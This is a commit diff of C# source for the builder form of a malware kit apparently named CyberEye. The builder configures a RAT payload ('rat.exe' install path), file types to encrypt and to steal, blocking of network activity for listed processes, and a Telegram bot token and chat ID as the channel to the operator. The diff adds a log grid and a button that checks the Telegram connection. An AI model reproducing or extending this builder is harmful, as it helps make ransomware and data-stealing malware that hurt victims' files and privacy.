|
8 | 8 |
|
9 | 9 | using System;
|
10 | 10 | using System.Data;
|
| 11 | +using System.Drawing; |
11 | 12 | using System.IO;
|
12 | 13 | using System.Linq;
|
| 14 | +using System.Net; |
| 15 | +using System.Net.Http; |
13 | 16 | using System.Windows.Forms;
|
14 | 17 |
|
15 | 18 | namespace CyberEye.Client.Builder
|
@@ -49,11 +52,39 @@ public partial class frmBuild : Form
|
49 | 52 | ".pdf", ".txt", ".rtf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt",
|
50 | 53 | ".sql", ".php", ".py", ".html", ".xml", ".json", ".csv"
|
51 | 54 | };
|
| 55 | + Bitmap iconError = SystemIcons.Error.ToBitmap(); |
| 56 | + Bitmap iconWarning = SystemIcons.Warning.ToBitmap(); |
| 57 | + Bitmap iconInfo = SystemIcons.Information.ToBitmap(); |
| 58 | + Bitmap iconSuccess = SystemIcons.Shield.ToBitmap(); |
52 | 59 | public frmBuild()
|
53 | 60 | {
|
54 | 61 | InitializeComponent();
|
| 62 | + /* |
| 63 | + var imageList = new ImageList(); |
| 64 | + imageList.ImageSize = new Size(16, 16); |
| 65 | +
|
| 66 | + imageList.Images.Add("error", System.Drawing.SystemIcons.Error.ToBitmap()); |
| 67 | + imageList.Images.Add("warning", System.Drawing.SystemIcons.Warning.ToBitmap()); |
| 68 | + imageList.Images.Add("info", System.Drawing.SystemIcons.Information.ToBitmap()); |
| 69 | + imageList.Images.Add("success", System.Drawing.SystemIcons.Shield.ToBitmap()); |
| 70 | +
|
| 71 | + listViewLog.SmallImageList = imageList; |
| 72 | +
|
| 73 | + listViewLog.View = View.Details; |
| 74 | + listViewLog.Columns.Add(" ", 20); |
| 75 | + listViewLog.Columns.Add("Time", 120); |
| 76 | + listViewLog.Columns.Add("Message", 400); |
| 77 | + */ |
55 | 78 | }
|
56 |
| - |
| 79 | + /*private void AddLog(string typeKey, string message) |
| 80 | + { |
| 81 | + var item = new ListViewItem(""); |
| 82 | + item.ImageKey = typeKey; // "error", "warning", "info", "success" |
| 83 | + item.SubItems.Add(DateTime.Now.ToString("HH:mm:ss")); |
| 84 | + item.SubItems.Add(message); |
| 85 | + listViewLog.Items.Add(item); |
| 86 | + } |
| 87 | + */ |
57 | 88 | private void textBox2_TextChanged(object sender, EventArgs e)
|
58 | 89 | {
|
59 | 90 |
|
@@ -104,6 +135,40 @@ private void frmBuild_Load(object sender, EventArgs e)
|
104 | 135 | RefreshListBox();
|
105 | 136 | RefreshGrabListBox();
|
106 | 137 | RefreshProcessListBox();
|
| 138 | + |
| 139 | + dataGridViewLog.RowTemplate.Height = 20; |
| 140 | + dataGridViewLog.AutoSizeRowsMode = DataGridViewAutoSizeRowsMode.AllCells; |
| 141 | + dataGridViewLog.DefaultCellStyle.WrapMode = DataGridViewTriState.True; |
| 142 | + dataGridViewLog.AllowUserToAddRows = false; |
| 143 | + dataGridViewLog.RowHeadersVisible = false; |
| 144 | + dataGridViewLog.SelectionMode = DataGridViewSelectionMode.FullRowSelect; |
| 145 | + |
| 146 | + DataGridViewImageColumn iconCol = new DataGridViewImageColumn(); |
| 147 | + iconCol.HeaderText = ""; |
| 148 | + iconCol.Width = 30; |
| 149 | + iconCol.ImageLayout = DataGridViewImageCellLayout.Zoom; |
| 150 | + dataGridViewLog.Columns.Add(iconCol); |
| 151 | + |
| 152 | + dataGridViewLog.Columns.Add("Time", "Time"); |
| 153 | + dataGridViewLog.Columns["Time"].Width = 100; |
| 154 | + |
| 155 | + dataGridViewLog.Columns.Add("Message", "Message"); |
| 156 | + dataGridViewLog.Columns["Message"].Width = 500; |
| 157 | + AddLog(iconWarning, "[WARNING] Functions \"Encryption File Types\", \"Grab File Types\", and \"Block Network Activity ProcessList\" are not working.\r\nDefault values embedded in the .exe will be used instead.\r\n[ALSO] Please use double backslashes (\\\\) in file (payload install path), e.g.:\r\n✅ C:\\\\Users\\\\CyberEye\\\\rat.exe instead of ❌ C:\\Users\\CyberEye\\rat.exe"); |
| 158 | + /*int lastRowIndex = dataGridViewLog.Rows.Count - 1; |
| 159 | + if (lastRowIndex >= 0) |
| 160 | + { |
| 161 | + dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex; |
| 162 | + } |
| 163 | + */ |
| 164 | + dataGridViewLog.ClearSelection(); |
| 165 | + dataGridViewLog.ReadOnly = true; |
| 166 | + //AddLog("warning", "[WARNING] Functions \"Encryption File Types\", \"Grab File Types\", and \"Block Network Activity ProcessList\" are not working.\r\nDefault values embedded in the .exe will be used instead.\r\n"); |
| 167 | + } |
| 168 | + private void AddLog(Bitmap icon, string message) |
| 169 | + { |
| 170 | + string time = DateTime.Now.ToString("HH:mm:ss"); |
| 171 | + dataGridViewLog.Rows.Add(icon, time, message); |
107 | 172 | }
|
108 | 173 |
|
109 | 174 | private void button5_Click(object sender, EventArgs e)
|
@@ -285,5 +350,63 @@ private void button1_Click(object sender, EventArgs e)
|
285 | 350 |
|
286 | 351 | }
|
287 | 352 | }
|
| 353 | + |
| 354 | + private void pictureBox1_Click(object sender, EventArgs e) |
| 355 | + { |
| 356 | + |
| 357 | + } |
| 358 | + |
| 359 | + private void TestMsgRequestBtn_Click(object sender, EventArgs e) |
| 360 | + { |
| 361 | + if (string.IsNullOrWhiteSpace(textBox1.Text) || string.IsNullOrWhiteSpace(textBox2.Text) || |
| 362 | + textBox1.Text == "TELEGRAM_TOKEN_HERE" || textBox2.Text == "TELEGRAM_CHAT_ID_HERE") |
| 363 | + { |
| 364 | + AddLog(iconError, "❌ Please fill in all fields correctly!"); |
| 365 | + int lastRowIndex = dataGridViewLog.Rows.Count - 1; |
| 366 | + if (lastRowIndex >= 0) |
| 367 | + { |
| 368 | + dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex; |
| 369 | + } |
| 370 | + } |
| 371 | + else |
| 372 | + { |
| 373 | + try |
| 374 | + { |
| 375 | + using (WebClient client = new WebClient()) |
| 376 | + { |
| 377 | + string url = "https://api.telegram.org/bot" + textBox1.Text + |
| 378 | + "/sendMessage?chat_id=" + textBox2.Text + |
| 379 | + "&text=" + Uri.EscapeDataString("✅ Connection Successful. Token and Chat ID are valid."); ; |
| 380 | + |
| 381 | + client.DownloadString(url); |
| 382 | + AddLog(iconInfo, "✅ Connection Successful. Token and Chat ID are valid."); |
| 383 | + int lastRowIndex = dataGridViewLog.Rows.Count - 1; |
| 384 | + if (lastRowIndex >= 0) |
| 385 | + { |
| 386 | + dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex; |
| 387 | + } |
| 388 | + } |
| 389 | + } |
| 390 | + catch (WebException ex) |
| 391 | + { |
| 392 | + AddLog(iconError, "❌ Failed to send message. Check your token and chat ID."); |
| 393 | + AddLog(iconError, "Error: " + ex.Message); |
| 394 | + int lastRowIndex = dataGridViewLog.Rows.Count - 1; |
| 395 | + if (lastRowIndex >= 0) |
| 396 | + { |
| 397 | + dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex; |
| 398 | + } |
| 399 | + } |
| 400 | + catch (Exception ex) |
| 401 | + { |
| 402 | + AddLog(iconError, "❌ Unexpected error: " + ex.Message); |
| 403 | + int lastRowIndex = dataGridViewLog.Rows.Count - 1; |
| 404 | + if (lastRowIndex >= 0) |
| 405 | + { |
| 406 | + dataGridViewLog.FirstDisplayedScrollingRowIndex = lastRowIndex; |
| 407 | + } |
| 408 | + } |
| 409 | + } |
| 410 | + } |
288 | 411 | }
|
289 | 412 | }
|
0 commit comments